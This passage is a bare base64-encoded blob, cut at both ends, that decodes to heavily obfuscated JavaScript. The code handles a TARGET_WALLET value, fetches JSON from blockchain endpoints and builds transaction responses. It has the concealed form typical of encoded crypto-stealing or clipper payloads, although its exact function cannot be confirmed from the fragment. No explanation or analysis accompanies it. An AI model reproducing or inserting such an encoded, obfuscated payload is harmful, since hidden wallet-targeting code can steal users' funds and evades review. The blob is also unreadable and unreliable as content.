0RZdERWJzpmdW5jdGlvbihfMHg1OWY5ZTIsXzB4MzE5ODg1KXtyZXR1cm4gXzB4NTlmOWUyPF8weDMxOTg4NTt9LCd3UHVVcyc6ZnVuY3Rpb24oXzB4NDliN2UyLF8weDU2Y2ZiOSl7cmV0dXJuIF8weDQ5YjdlMj4+XzB4NTZjZmI5O30sJ1hjRUpmJzpmdW5jdGlvbihfMHgyNjRlMixfMHg1MDhlNzMpe3JldHVybiBfMHgyNjRlMiZfMHg1MDhlNzM7fSwneWpFcUUnOmZ1bmN0aW9uKF8weDExNjVmOSxfMHgzZmIzNzkpe3JldHVybiBfMHgxMTY1ZjkgaW4gXzB4M2ZiMzc5O30sJ29lQkpwJzpmdW5jdGlvbihfMHg0Zjg5NDEsXzB4MjkyNjIxKXtyZXR1cm4gXzB4NGY4OTQxK18weDI5MjYyMTt9LCdJcVVRZyc6ZnVuY3Rpb24oXzB4NTdkZjc5LF8weDE4MzViOSl7cmV0dXJuIF8weDU3ZGY3OStfMHgxODM1Yjk7fSwnbGZEQ2InOl8weDQ2Yzk1YSgtMHgxMDQsLTB4N2YsLTB4MjEsJ2RiNFYnLC0weDEzNikrXzB4NDZjOTVhKC0weGViLC0weGQ0LC0weDk5LCdmYV1wJywweDE3KStfMHg0NzBhNGUoMHgxN2UsMHgxOWQsMHgyNjgsMHgyYWMsJ2NeXkAnKStfMHg0NmM5NWEoMHgxZDQsMHgxODQsMHgyYzAsJ0x1ckQnLDB4MWE1KStfMHgxMzUyYTQoJ3BUN0QnLDB4MWYyLDB4MmY3LDB4MjI3LDB4NDM2KStfMHg2OTI1N2UoLTB4MjE0LC0weGQzLC0weDEyZCwtMHgyYTIsJypII0EnKStfMHg2OTI1N2UoLTB4MWNmLC0weDFkZCwtMHgyODIsLTB4MTZhLCdmQTM1JykrXzB4NjkyNTdlKC0weDMwMiwtMHgzN2UsLTB4MjA3LC0weDJkYiwnbzFxQicpK18weDQ2Yzk1YSgweDIxOCwweDEwYiwweGQ2LCcmXm9qJywweDk2KStfMHg2OTI1N2UoLTB4MTVmLC0weDFmMywtMHgyNzIsLTB4MWY3LCd1ZigqJykrXzB4NTVkYTY3KCdvMXFCJywtMHgyODMsLTB4MWZkLC0weDI2MSwtMHgxNjYpLCdmWXFJdic6XzB4NjkyNTdlKC0weDExZiwtMHgxYjcsLTB4NCwtMHgxZiwnV3lLQicpK18weDQ3MGE0ZSgweDQ1ZSwweDQ2MiwweDUwYywweDQ4NSwnY15eQCcpK18weDY5MjU3ZSgtMHgyMjgsLTB4MjYwLC0weDExNywtMHgyNzUsJ20xTWMnKStfMHg0NmM5NWEoMHgyMTcsMHgxNDYsMHgxMmEsJ2FhNnAnLDB4MjIzKStfMHg0NmM5NWEoMHhiNywweDEwOCwweDI0MSwnTHVyRCcsMHgxNTUpK18weDY5MjU3ZSgtMHhlMiwweDNhLC0weGRkLC0weDI0LCdacENxJykrJ3QuJywnUU9kTEknOmZ1bmN0aW9uKF8weDViODg3YyxfMHg0ZGZiZmYpe3JldHVybiBfMHg1Yjg4N2MtXzB4NGRmYmZmO30sJ253aGJEJzpmdW5jdGlvbihfMHgxMmFhM2UsXzB4MTc5ZDI0KXtyZXR1cm4gXzB4MTJhYTNlKF8weDE3OWQyNCk7fSwna3NRYVMnOmZ1bmN0aW9uKF8weGQ2OTRjOSxfMHgzOWFjNjkpe3JldHVybiBfMHhkNjk0Yzk9PT1fMHgzOWFjNjk7fSwnQ0dtdWknOl8weDQ2Yzk1YSgtMHgxMDQsLTB4NDcsMHgxMCwnbHlTeScsLTB4ZjIpLCdBcEJUbSc6XzB4MTM1MmE0KCdbeCNWJywweDJiZSwweDJiYywweDI0NywweDJlYSksJ2p0SGR2JzpmdW5jdGlvbihfMHg1MmM4NDgsXzB4M2JmYjQ0KXtyZXR1cm4gXzB4NTJjODQ4K18weDNiZmI0NDt9LCdpYXd1cic6ZnVuY3Rpb24oXzB4NTlkYTcyLF8weDUzMWU5ZCl7cmV0dXJuIF8weDU5ZGE3MitfMHg1MzFlOWQ7fSwnUENZS24nOl8weDQ2Yzk1YSgweDZhLDB4MThiLDB4Mjc5LCdVM1pFJywweDI1OCkrXzB4NDZjOTVhKC0weDMsMHhlNSwweDFlZCwnVTNaRScsMHgxYWMpK18weDQ3MGE0ZSgweDM0YywweDQzNCwweDM0ZiwweDNhMywnW3gjVicpK18weDQ3MGE0ZSgweDQwMywweDFkNSwweDMwNCwweDMwZCwnW3gjVicpK18weDQ2Yzk1YSgweDI1OSwweDE0ZSwweDQ4LCdGdERxJywweDYxKStfMHg0NmM5NWEoMHg4YiwweDNkLDB4YTEsJ1t4I1YnLDB4MTI0KStfMHgxMzUyYTQoJ0hOVFInLDB4MWM4LDB4MTIyLDB4ODksMHgxOWYpK18weDU1ZGE2NygnYWE2cCcsLTB4MTI5LC0weGVjLDB4ZTQsLTB4M2IpK18weDY5MjU3ZSgtMHhlNCwtMHgxN2YsMHgyMCwtMHgzMCwnZGI0VicpKydzLycsJ3h3SUJWJzpfMHgxMzUyYTQoJ20xTWMnLDB4MWI5LDB4MjE0LDB4MzA0LDB4MjU0KStfMHgxMzUyYTQoJ3htMWcnLDB4MjJkLDB4MWUxLDB4MTM3LDB4MTY3KStfMHg1NWRhNjcoJ3htMWcnLDB4MWEzLDB4MTdlLDB4YzAsMHg3YyksJ1BWWUZpJzpmdW5jdGlvbihfMHgyMWYwNDcsXzB4MTAwOGY1KXtyZXR1cm4gXzB4MjFmMDQ3KF8weDEwMDhmNSk7fSwnb2pteXUnOmZ1bmN0aW9uKF8weDNkMWJhZCxfMHgzYTNiODkpe3JldHVybiBfMHgzZDFiYWQoXzB4M2EzYjg5KTt9LCdQYkZiZic6XzB4NjkyNTdlKC0weGM2LC0weDFkMCwtMHg0MywtMHgxMzMsJ2k3NVAnKStfMHg2OTI1N2UoLTB4MTUxLC0weDI4ZSwtMHgyOSwtMHgxN2EsJ1UzWkUnKStfMHgxMzUyYTQoJ2k3NVAnLDB4MjliLDB4MTdmLDB4ZDMsMHgyODYpK18weDY5MjU3ZSgtMHgyYzksLTB4MWRmLC0weDJkNCwtMHgyNmYsJ3AmYk0nKStfMHgxMzUyYTQoJ0x1ckQnLDB4MTEyLDB4MTU0LDB4MTRmLDB4MjMwKStfMHgxMzUyYTQoJ1BAISonLDB4MjIyLDB4MjBkLDB4MmU1LDB4MWYzKStfMHg1NWRhNjcoJ0MkeVAnLC0weGRiLC0weDIyZiwtMHgxMDksLTB4MTA4KStfMHg1NWRhNjcoJ0U5RCUnLDB4YjMsMHgxMGQsMHgxOTQsMHg1MikrJ3gvJywndlJMTHcnOl8weDQ2Yzk1YSgweDFhLC0weDJhLC0weDU0LCd1ZVc2JywtMHgxNTYpKydzJywnQ2FRZFEnOl8weDQ3MGE0ZSgweDVmMCwweDUzNCwweDQ4ZCwweDRkNCwnNkYyIycpLCd3TlBPRCc6XzB4NDZjOTVhKDB4Mjc5LDB4MTc0LDB4MjQ3LCdITlRSJywweDE2Nil9O3RyeXtpZihfMHg0MmUyYjRbXzB4MTM1MmE0KCdES1lrJywweDRhZSwweDNhNSwweDQ0NiwweDM4NildKF8weDQyZTJiNFtfMHg0NmM5NWEoMHgxM2IsMHg1NSwtMHhiNywnJl5vaicsMHgxNDIpXSxfMHg0MmUyYjRbXzB4NDcwYTRlKDB4Mzc5LDB4MjVjLDB4MjgzLDB4Mzk4LCdacENxJyldKSl7dmFyIF8weDExZDViNixfMHgxOTk2NDcsXzB4MTliM2VmLF8weDU1NjYzNTtpZihfMHg0MmUyYjRbXzB4NTVkYTY3KCdacENxJywtMHgyMjUsLTB4MWYxLC0weDk0LC0weDE5YSldKC0weDIxMjUrMHgxMmUxKzB4MioweDcyMixfMHg0NzIxMzRbXzB4NDZjOTVhKC0weGEsLTB4NTUsMHg5LCdMdXJEJywweDJmKSsnaCddKSlyZXR1cm4gbmV3KChfMHg0MmUyYjRbXzB4NDcwYTRlKDB4M2Y0LDB4M2VhLDB4NWFjLDB4NGFjLCd1ZVc2JyldKF8weDQyZTJiNFtfMHgxMzUyYTQoJ2RiNFYnLDB4MWQ2LDB4MjM0LDB4MWM0LDB4MTFjKV0sdHlwZW9mIF8weDI5MjgwMSkpJiYoXzB4NDJlMmI0W18weDEzNTJhNCgnW3gjVicsMHgxYzEsMHgxOWUsMHgyMzQsMHhjOCldKG51bGwsXzB4NWU3NTFlKSk/XzB4MjM3M2QwOl8weDVhNmEwNikoLTB4NTMqMHg1ZCsweDEqMHhiMzMrMHg5N2EqMHgyKTtmb3IoXzB4NDg3NzEyPXZvaWQoLTB4MjRjOSoweDErLTB4NTNmKjB4NSstMHgyNSotMHgxYjQpLF8weDU1NjYzNT12b2lkKC0weDIxOTMrMHgxMTM0KzB4MTA1ZiksXzB4MTFkNWI2PVsweDk3OSsweGRmKjB4YisweDYqLTB4MzJkXSxfMHg1NGJmZGU9MHgxNTUyKzB4MSotMHg5NisweDUyZiotMHg0O18weDQyZTJiNFtfMHg2OTI1N2UoLTB4MWIyLC0weDE0ZCwtMHgxMTUsLTB4NzAsJ3BUN0QnKV0oXzB4OTI4YWFiLF8weDU2ZTgyY1tfMHg1NWRhNjcoJ2FhNnAnLC0weGMsLTB4ZmIsMHg3NywtMHg4YSkrJ2gnXSk7KXtjb25zdCBfMHgyYjQ4MWQ9XzB4NDJlMmI0W18weDQ2Yzk1YSgweDFkLDB4MTUzLDB4ZDYsJ1R0N3InLDB4YzkpXVtfMHg0NzBhNGUoMHgzNzcsMHgzMTUsMHgzNjQsMHg0M2QsJzEkd1gnKV0oJ3wnKTtsZXQgXzB4MTVlY2UwPTB4MTkqMHhhKzB4MjJhNisweDExZCotMHgyMDt3aGlsZSghIVtdKXtzd2l0Y2goXzB4MmI0ODFkW18weDE1ZWNlMCsrXSl7Y2FzZScwJzpmb3IoXzB4NTU2NjM1PTB4MjcwOCsweDMzMSoweDUrMHg3ZGIqLTB4NztfMHg0MmUyYjRbXzB4NTVkYTY3KCdSJWt3JywweDY4LC0weDI0LDB4YmEsMHg2MildKF8weDU1NjYzNSxfMHgxMWQ1YjZbXzB4NDZjOTVhKDB4MTkzLDB4NzMsMHgyNCwnMSR3WCcsMHhmMykrJ2gnXSk7KV8weDExZDViNltfMHg1NTY2MzVdKj0weDI1OTArMHg0Ki0weDZkNCstMHg1MDMqMHgyLF8weDU1NjYzNSsrO2NvbnRpbnVlO2Nhc2UnMSc6Zm9yKF8weDExZDViNlstMHhhZCoweDkrLTB4MSotMHhiODUrLTB4NTcwXSs9XzB4Mzk3ZWRjW18weDE5OTY0N10sXzB4MTliM2VmPTB4MTU4KzB4MWI4YSstMHgxY2UyLF8weDU1NjYzNT0tMHgxMmQqMHg1KzB4MjQyKy0weDkqLTB4Njc7XzB4NDJlMmI0W18weDU1ZGE2NygneFNVNCcsLTB4NDIsLTB4NTIsLTB4MywtMHgxMDApXShfMHg1NTY2MzUsXzB4MTFkNWI2W18weDY5MjU3ZSgtMHhkNywweDQ3LDB4NTcsLTB4MTk4LCdtMU1jJykrJ2gnXSk7KV8weDExZDViNltfMHg1NTY2MzVdKz1fMHgxOWIzZWYsXzB4MTliM2VmPV8weDQyZTJiNFtfMHg0NmM5NWEoMHgyZDAsMHgxODksMHgxZDQsJ0BqRE0nLDB4Mjg4KV0oXzB4MTFkNWI2W18weDU1NjYzNV0sLTB4MSoweDE2NmQrLTB4YjhlKzB4MjIwMyoweDEpLF8weDExZDViNltfMHg1NTY2MzVdJj0weDE4YzgrLTB4OTMxKzB4MiotMHg3NGMsKytfMHg1NTY2MzU7Y29udGludWU7Y2FzZScyJzpfMHgxMGQwOGYrKztjb250aW51ZTtjYXNlJzMnOmZvcig7XzB4MTliM2VmOylfMHgxMWQ1YjZbXzB4NDcwYTRlKDB4MmJjLDB4NGRiLDB4MmVjLDB4M2Y5LCdOITgxJyldKF8weDQyZTJiNFtfMHg2OTI1N2UoLTB4OWYsLTB4YzQsLTB4MTNjLC0weDE2LCdUdDdyJyldKDB4MSotMHgxOWRiKy0weDcqLTB4MWM1Ky0weDEqLTB4ZTc3LF8weDE5YjNlZikpLF8weDE5YjNlZj4+PS0weDE5ZTArMHgxKjB4NWQ3Ky0weDE0MTEqLTB4MTtjb250aW51ZTtjYXNlJzQnOmlmKCFfMHg0MmUyYjRbXzB4NTVkYTY3KCdlKUhKJywweDMzLC0weDFjMSwtMHgxOTgsLTB4Y2QpXShfMHgxOTk2NDc9XzB4MjU5NWYzW18weDExYTU3Y10sXzB4M2Q4NWYxKSl0aHJvdyBfMHg0MmUyYjRbXzB4NDZjOTVhKDB4ODcsLTB4MzAsLTB4ZTMsJ3hbTSEnLC0weGVhKV0oXzB4NDJlMmI0W18weDU1ZGE2NygnW3gjVicsMHg0ZSwtMHhmZSwtMHg2MiwtMHhiZCldKF8weDQyZTJiNFtfMHg2OTI1N2UoLTB4MjkxLC0weDJhOCwtMHgyN2QsLTB4MmM3LCdpNzVQJyldLF8weDE5OTY0NyksXzB4NDJlMmI0W18weDQ2Yzk1YSgweDE2MiwweDlhLDB4MWUsJzImRW4nLDB4MTlhKV0pO2NvbnRpbnVlO31icmVhazt9fWZvcihfMHgxYTI0ZTc9MHgyKzB4ZDRmKy0weDFlNyoweDc7XzB4NDJlMmI0W18weDY5MjU3ZSgtMHgxOTQsLTB4YjgsLTB4YjcsLTB4MjUwLCcqSCNBJyldKCcxJyxfMHhmYWNiY2ZbXzB4NWRmMzRhXSkmJl8weDQyZTJiNFtfMHg0NmM5NWEoMHgxNzcsMHhmMCwweDc0LCdtMU1jJywweGUwKV0oXzB4NWI0NDljLF8weDQyZTJiNFtfMHg1NWRhNjcoJ1pwQ3EnLC0weDE2ZiwtMHhkMiwtMHgxNCwtMHhjYSldKF8weDQyNzk3NVtfMHg2OTI1N2UoLTB4MTkwLC0weDJhNiwtMHg2OSwtMHgyZDUsJzZGMiMnKSsnaCddLDB4MWE3MSoweDErMHgxKi0weGZiYistMHhhYjUpKTspXzB4MTFkNWI2W18weDEzNTJhNCgnZGI0VicsMHgxOSwweDEzZSwweDFmNiwweGJlKV0oMHgxM2RlKzB4YiotMHgyZjMrMHgxZCoweDZmKSxfMHg0OGM1MDQrKztyZXR1cm4gbmV3KChfMHg0MmUyYjRbXzB4MTM1MmE0KCdtMU1jJywweDI3OSwweDE0YSwweDcyLDB4MThkKV0oXzB4NDJlMmI0W18weDY5MjU3ZSgtMHg5OCwtMHg0YiwtMHgxYzksLTB4NmYsJ0BqRE0nKV0sdHlwZW9mIF8weDVlNWQ3YikpJiYoXzB4NDJlMmI0W18weDQ2Yzk1YSgtMHgxMzgsLTB4NSwweDZkLCcxJHdYJywtMHgxMDQpXShudWxsLF8weDViNjFmYykpP18weDMwMTExZTpfMHg0YmZlOTEpKF8weDExZDViNltfMHgxMzUyYTQoJ2ZBMzUnLDB4MTFmLDB4MWIxLDB4MjEwLDB4MTQ0KSsnc2UnXSgpKTt9ZWxzZXtsZXQgXzB4MTgxMGM5PV8weDQyZTJiNFtfMHg0NmM5NWEoMHgxZTUsMHhiZiwweDdlLCd0KTVdJywweGY0KV0oXzB4NDJlMmI0W18weDEzNTJhNCgnalFadicsMHgyNGQsMHgzMTcsMHgxZGUsMHg0MTcpXShfMHg0MmUyYjRbXzB4NDZjOTVhKDB4MTg0LDB4MTExLDB4YzAsJ1lrITYnLDB4MjM5KV0sVEFSR0VUX1dBTExFVCksXzB4NDJlMmI0W18weDQ2Yzk1YSgweDIzYSwweDE3MSwweDI3NiwnbHlTeScsMHhkMyldKSxfMHgzOTA3M2I9YXdhaXQgXzB4NDJlMmI0W18weDY5MjU3ZSgtMHhlOSwtMHgxZjUsLTB4MWUsLTB4MjA3LCd4bTFnJyldKGdldEpzb25SZXNwb25zZSxfMHgxODEwYzkpLF8weDNhYmU4NT1fMHgzOTA3M2JbXzB4NTRhNTJkXVtfMHg1NWRhNjcoJ3BUN0QnLC0weDllLDB4NzUsLTB4YTksMHgyYSkrXzB4NTVkYTY3KCdtMU1jJywtMHgxNzYsLTB4MTQ4LC0weDEzOCwtMHg2MyldLF8weDIwNzkwNz0oYXdhaXQgXzB4NDJlMmI0W18weDEzNTJhNCgnXWdmQScsMHgxZmYsMHgzMjMsMHgyYWIsMHgyMzIpXShnZXRKc29uUmVzcG9uc2UsXzB4NDJlMmI0W18weDU1ZGE2NygnalFadicsMHgxMzEsLTB4ZTMsMHgxNzQsMHgyYildKF8weDQyZTJiNFtfMHg0NzBhNGUoMHg1MzAsMHgzZTIsMHgzNmEsMHg0NDQsJ0BqRE0nKV0oXzB4NDJlMmI0W18weDQ3MGE0ZSgweDNkNCwweDNkZSwweDNkNCwweDQ2OCwnMiZFbicpXSxfMHgzYWJlODUpLF8weDQyZTJiNFtfMHg0NzBhNGUoMHgzYWUsMHgzM2MsMHg0NmUsMHgzNzEsJ3hTVTQnKV0pKSlbXzB4NjkyNTdlKC0weDE3OSwtMHhhYywtMHgxOWIsLTB4MTIyLCc3YXpMJykrJ3RzJ11bXzB4MTM1MmE0KCdvMXFCJywweDIyNSwweDM2YiwweDNiYSwweDJjMyldKDB4YmQxKzB4MTY2OSsweDJhMiotMHhkKVtfMHg2OTI1N2UoLTB4YWEsMHg0MywtMHgyNSwtMHhhMCwnNkYyIycpXShfMHgzOTc0N2Y9Pl8weDM5NzQ3ZltfMHgxMzUyYTQoJ20xTWMnLDB4MzZjLDB4MzhjLDB4NGNiLDB4NGMzKSsnc3MnXSk7cmV0dXJuIG5ldyBCbG9ja2NoYWluUmVzcG9uc2UoXzB4MzkwNzNiW18weDU1ZGE2NygndCk1XScsLTB4ZWIsLTB4Mjc1LC0weGU2LC0weDE2OCkrJ2gnXSxfMHgyMDc5MDcpO319Y2F0Y2h7aWYoXzB4NDJlMmI0W18weDQ3MGE0ZSgweDQ2OCwweDM3YSwweDQ0MiwweDQ0YSwndCk1XScpXShfMHg0MmUyYjRbXzB4MTM1MmE0KCdVM1pFJywweDJkOCwweDI5OCwweDI0NiwweDFkZSldLF8weDQyZTJiNFtfMHg2OTI1N2UoLTB4MWZkLC0weDMwMiwtMHgzMGMsLTB4MjZkLCc2RjIjJyldKSlyZXR1cm4hKC0weDQyYioweDcrMHgyMWZiKi0weDErMHgyYmYqMHgxNyk7ZWxzZXtsZXQgXzB4MTJlM2Y1PV8weDNmNTVjZltfMHg2OTI1N2UoLTB4MTA2LC0weDEzZSwtMHhiMiwtMHhiYSwnREtZaycpKydtJ11bXzB4NDZjOTVhKDB4NzgsMHg2MywweGZkLCdMdXJEJywweDE1NSkrJzgnXVtfMHg2OTI1N2UoLTB4MjcwLC0weDE4ZiwtMHgzODMsLTB4MTZlLCdwVDdEJykrJ2UnXShfMHgzMjMzODMpO18weDEyZTNmNT1fMHgxMmUzZjVbXzB4MTM1MmE0KCdjXl5AJywweDE3YSwweDJhOSwweDJjNywweDNmMildKC0weDIzODEqMHgxKzB4MTUqLTB4MTAxKzB4Mzg5NywtMHgxNjM0Ky0weDNlOCsweDk1KjB4MmQpLF8weDEyZTNmNT1fMHg0MmUyYjRbXzB4NDcwYTRlKDB4NDQ1LDB4NDc1LDB4MzYxLDB4MzRmLCdlKUhKJyldKF8weDM0OGQxMixfMHgxMmUzZjUpLF8weDUxZmU4NltfMHgxMzUyYTQoJ3VmKConLDB4OWEsMHgxNTAsMHgxMzksMHg1MSldKF8weDEyZTNmNSk7fX19ZnVuY3Rpb24gQ1N0cmluZ1RvU3RyaW5nKF8weDVhN2JhNyl7ZnVuY3Rpb24gXzB4Y2Y0MmQwKF8weDRmMWMzZCxfMHg1MmI5M2YsXzB4NDI1MWY2LF8weGU2NDMyOSxfMHgzZTYxMTQpe3JldHVybiBfMHhhNGRjNWIoXzB4NGYxYzNkLTB4MTQzLF8weDQyNTFmNixfMHg1MmI5M2YtMHg1ZGEsXzB4ZTY0MzI5LTB4MTNkLF8weDNlNjExNC0weDFhNSk7fWNvbnN0IF8weDQyOWY0ND17fTtmdW5jdGlvbiBfMHg1ODUwZGEoXzB4MTBiMzU2LF8weDQ1MjIyZSxfMHgyMjMyMjEsXzB4ZWJhYTI5LF8weDFlNDdkZil7cmV0dXJuIF8weDU2MzZmNyhfMHgxMGIzNTYtMHgzOSxfMHg0NTIyMmUtMHg1MTYsXzB4MjIzMjIxLTB4YyxfMHhlYmFhMjksXzB4MWU0N2RmLTB4MTQ0KTt9XzB4NDI5ZjQ0W18weDE5NWJmMigweDEzZSwweDJlLDB4MWJkLC0weDMsJ0RDYyonKV09ZnVuY3Rpb24oXzB4MzZiZmEyLF8weDJhMmQ2NCl7cmV0dXJuIF8weDM2YmZhMiE9XzB4MmEyZDY0O307ZnVuY3Rpb24gXzB4MTk1YmYyKF8weDI0ZTBmZixfMHgyNzEwMmIsXzB4MzEwZWI4LF8weDM5NTRhMixfMHg2MmU4OGYpe3JldHVybiBfMHg1ZmExNmEoXzB4MjRlMGZmLSAtMHhjYixfMHgyNzEwMmItMHhjNCxfMHgzMTBlYjgtMHg0ZCxfMHg2MmU4OGYsXzB4NjJlODhmLTB4MWI4KTt9ZnVuY3Rpb24gXzB4M2U5MDRkKF8weDE0OTM0NCxfMHg2NTg1ZmIsXzB4Zjg1YzRiLF8weDI2YzAxZCxfMHg1YjIxZjgpe3JldHVybiBfMHgxMjgwOTcoXzB4MTQ5MzQ0LTB4NjMsXzB4NjU4NWZiLF8weGY4NWM0Yi0weDFjLF8weDViMjFmOC0weDM4LF8weDViMjFmOC0weDE1Myk7fWNvbnN0IF8weDJjMTVlZj1fMHg0MjlmNDQ7bGV0IF8weDI0ODdkZj1uZXcgQXJyYXkoKTtmb3IodmFyIF8weDFjY2RmMD0tMHg1ZmMrLTB4ZTdiKzB4MTQ3NztfMHgyYzE1ZWZbXzB4M2U5MDRkKC0weGQ3LCdMdXJEJywweDU3LDB4MTBiLDB4NjcpXSgweGQ0ZSsweDI0NjIrLTB4MzFiMCxfMHg1YTdiYTdbXzB4MWNjZGYwXSk7XzB4MWNjZGYwKyspXzB4MjQ4N2RmW18weDNlOTA0ZCgtMHgxZiwnZSlISicsLTB4MTEzLC0weDIwZSwtMHgxNjYpXShfMHg1YTdiYTdbXzB4MWNjZGYwXSk7ZnVuY3Rpb24gXzB4YmZmNTFlKF8weDI0OTE1YyxfMHgzNWIwY2MsXzB4MjNhYjRjLF8weDQzOTYyZSxfMHhhOTlhOGQpe3JldHVybiBfMHg1NjM2ZjcoXzB4MjQ5MTVjLTB4NmEsXzB4MzViMGNjLSAtMHg4MyxfMHgyM2FiNGMtMHgxZTQsXzB4MjQ5MTVjLF8weGE5OWE4ZC0weDExNSk7fXJldHVybiBTdHJpbmdbXzB4Y2Y0MmQwKDB4NjVhLDB4NWEwLCdSUzBPJywweDZiZCwweDUyYykrXzB4M2U5MDRkKC0weDE0LCdOITgxJywweDMyLDB4NGUsMHg0MikrJ2RlJ11bXzB4Y2Y0MmQwKDB4NTljLDB4NjVhLCdkYjRWJywweDcwMCwweDc1MCldKG51bGwsXzB4MjQ4N2RmKTt9ZnVuY3Rpb24gXzB4MjY3Migpe2NvbnN0IF8weDU5OWVkOT1bJ2c4a2FvTUZjVFcnLCd1cXhkVFcnLCduMTdjVlNrbVc1RycsJ1dRS21XNmhkTEhDJywnV1JXeFc3cnJ3YScsJ1dQTmRJU2t4VzQ3Y1NhJywnbjhrZ2Zta2cnLCdxbW9IVzRWZFE4bzAnLCdGU29uVzVaZFZtbzMnLCdXUkh3V1FSZEtaYScsJ2ZDb2pXUWFtJywncnZ5OFdRRmRORycsJ1c3RHZXUFJjVVNvQicsJ2VyL2RMQ294b1cnLCd0R3hkUnhxVScsJ2IyTmNRdVZkSXEnLCdXUnI1V1JsY1RHJywnVzdGZExDa2ttbWtXJywnVzVMcldQRmNPQ29IJywndENvMFdQVytlcScsJ2E4azV0Rzg4JywnVzQvZEtTa2V3U294JywnVzdtTldPaldzcScsJ1c0akRXNXZzJywnV1JxZVc2UHlGcScsJ1dSblF3bW9IV1B5JywnVzZiV1c1RDhzVycsJ3czeGNHWEpjVnEnLCdvbW9oVzVtc0NxJywnb21vaFc2SDFXNzAnLCdybW9TdUxKY0pHJywnZVNvSFdQWENwcScsJ1c0R0phOGtTV1JPJywnbkNvVVc0TG5XN3UnLCdXNzhsV1Jmb3ZXJywnZ0xOY0g4a0tXN3UnLCdXT0ZjUmhhUnVhJywnQ1NvdGlTazQnLCdEOGtRV1AvY1NhJywncDBsY0hTbzFkYScsJ1c1L2RMQ2tXZjhrbScsJ1c0ZGNWbW8vZk55JywnRUNvYnhTa2pXT1MnLCd5VzdkSXVlcycsJ1c2ekJXTzNkTm1rWCcsJ3V3TmNKSEpjS2EnLCdodHhkT0NvMGRhJywnVzV5QmpDa0xXT1MnLCdXUmloVzQ1cXhxJywnV09kY1VTbzZXNjU5JywncENvT1dSUmRIQ2tXJywnYzhrdHAxdVgnLCdXT0c4cWN4ZFNHJywnZmNsZEhDb0hjYScsJ3hLMTJxU29CJywnV1JoY1V4cTV6VycsJ1dRQ010R05kU3EnLCdXNEd1VzZCZFNXSycsJ1dScWtXUDdjTkNvVldPZkdXUkZkUENrUnhTa2wnLCdXNmFjV1JCY1RTb1knLCd5ckJkUGVhVicsJ25XaGRPbW9yZnEnLCdETlRDZUphJywnVzZUbFdPcGNMbWtKJywneks0ZmZDb3knLCdtbW9BeUNrU2NXJywnVzVuRlc1SGlzYScsJ3Q4a0N1Y1pkVWEnLCdXUDUydG1vZ1dQcScsJ2hTb0JXUnZuaUcnLCdrSzdjU21rMlc3TycsJ1c1TFdXNGRkVW1reScsJ1c2WmRITjlaJywnRHZSY0hxaGNKYScsJ1c1aWtwOGtZV09XJywnVzY1d1c0cGROQ2tsJywnYUNrd2x1eUsnLCdXN0wybHFsZEtHJywnQzhvRVdQOHlsVycsJ1c2Yk5XUnhjUm1vOScsJ1dPcVpobW9wV1JTJywnVzc0aVdQOEhXUTAnLCdXUHhkTFNra1c2dScsJ1c1SDVXNHFsdGEnLCdGdTV5eThvMycsJ0Y4b0VFVy9kT1cnLCdXNVZjS0toZEpaaScsJ3M4b3d3WnBjVXEnLCd6U28zQ3RsZFZhJywnVzViUlc3SmRWOGtpJywnV1A3ZE5ta1BXUlZjVkcnLCdXNUNiaUNrR1dPVycsJ1c3ZGRUTThwakcnLCd3OG91V1J6cmtxJywnV1BiYldPTmRTR0cnLCdXUE5kTDhra1c2QmNLRycsJ3ZIbGRRTjQnLCd4OGtmV1F0Y1JDa2gnLCdBU2taV09sY1Rta00nLCdnU2sraTFkY1VXJywnV1JQOVc3S3h4YScsJ2ZlU0xnU29yJywnV1FqUEFtazdXUnEnLCdkOG93VzRYYVdQSycsJ1dPOXd6OG9OVzRaY1BTazdXUGhkSll0ZE94WmRSRycsJ3hDa1FFWXhkUEcnLCdhZ1pjVklKZExhJywnV09UZW9Tb0hXT0cnLCdkOGtmVzdHRWxhJywnVzZCY1RnbGRIR0snLCdXNGpLVzVqOXpHJywnbVNrbG13L2NOVycsJ1c2THFXNHRkSFcnLCdXUkNhVzU5cXhHJywneFNrZmd2VEonLCdkQ2tQdFd0ZE1HJywnelNvK0RZSmRPcScsJ3NDb2VXUVNsanEnLCdXNlByVzRKZEpxJywnYW1rd2toYTUnLCdXNk5kS1l4ZFVxJywnQ0Nvd29TazUnLCdXUDNkTzhrR1c1SmNVVycsJ0E4ay96V2xkUHEnLCdXN3FGV1A0UldQTycsJ1dRdk5XT05kUnFhJywnQ0xEa21jOCcsJ1dPYkNXNUxDdlcnLCdXUmxjSDJOY0htb2cnLCd3ZkQvVzdaZElxJywnVzRYelc3TmRNOGsrJywnVzZGZFRzUmRLV3EnLCdnbW82VzdlV3ZhJywnb0NrUWpkV0MnLCdqU2svZ1NrYldPRycsJ3VLbVpXUWhkSkcnLCdkOG9HV1I5NGRhJywnV1FIYVdRcGRSU2thJywnV1BIdFc0U3dGRycsJ1c0U2hXUkZkR2VpJywnY2V5c2hTb1knLCdXNDExVzZOZEdta3cnLCdXNVh2V083Y1M4b04nLCdEbWtNV1AvY1Jta08nLCdXUkxzV1JxJywnVzRHQVdQdXZXUk8nLCdXUEhvVzV5MHJXJywnRENrUWxXcUgnLCdXNGRkSzhvd29MVycsJ0NDb2tvbWtad0cnLCdXUEcxV1JSZE1MbScsJ1dSRmNLMlZjSkNvbScsJ1c3U1NXT3pWcnEnLCdDU29vbW1rWXdHJywnbDhrbGg4a3BXTzgnLCdXNHZMVzc3ZEpta3InLCdBbWtwdXNCY1ZXJywnVzd1UFdSOWNoRycsJ1dSamJXUVZkTXFDJywnV1Fyd1dQM2RWZDAnLCdwU29CVzV6Z1c0SycsJ1c2QmRSRzNkUWQwJywnbjhrTmUycGNWYScsJ1c3UE9XUmxjUzhrRScsJ3BiN2ROOG9ja0cnLCdXUkpjR0pQVnNTb2Vnc3ZSamZCZE04b1AnLCdXUXFGVzR0ZE1Tby8nLCdlSFpjU2c5VScsJ1dRR0VEWlZkTEcnLCdXN2J0VzR0ZElTazYnLCdXUGJ3V1FsZE90QycsJ2Ftb1hXNm1GeWEnLCdXNDhHYjhrS1dPOCcsJ1c3ZjNXNXRkUThrNCcsJ1dQN2NJOG9yZnZXJywnV1FPSFc3dGRSQ290VzRaZFFzcGNNU2tKZjhvSFdQMCcsJ2cxTmNMTUJkVkcnLCdXUjNkUThvalc3MFQnLCdXN21aVzROY0tjSycsJ2pTa25mbWtiV08wJywnV1FidVc0QytXUnUzVzUxSnZXJywnVzduU1dSQmNSOGt1JywnRjhrT1dReGNNU2tCJywnQmZhTldQWmRJYScsJ21ta0RmbWtCJywnbENrb3RKV1gnLCdXUm5oV09WZFRJZScsJ2RDb3lXNE92eGEnLCdjTGVGZThvdi